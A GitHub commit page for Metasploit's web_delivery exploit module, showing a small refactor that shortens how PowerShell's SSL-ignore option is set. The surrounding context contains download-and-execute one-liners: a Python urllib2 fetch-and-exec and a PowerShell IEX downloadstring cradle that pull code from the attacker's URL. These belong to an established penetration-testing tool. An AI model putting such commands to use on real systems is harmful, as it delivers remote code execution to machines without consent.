We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent b41e259 commit 40c1fb8Copy full SHA for 40c1fb8
modules/exploits/multi/script/web_delivery.rb
@@ -88,9 +88,7 @@ def primer
88
when 'Python'
89
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
90
when 'PSH'
91
- if ssl
92
- ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate
93
- end
+ ignore_cert = Rex::Exploitation::Powershell::PshMethods.ignore_ssl_certificate if ssl
94
download_and_run = "#{ignore_cert}IEX ((new-object net.webclient).downloadstring('#{url}'))"
95
print_line generate_psh_command_line(
96
noprofile: true,
0 commit comments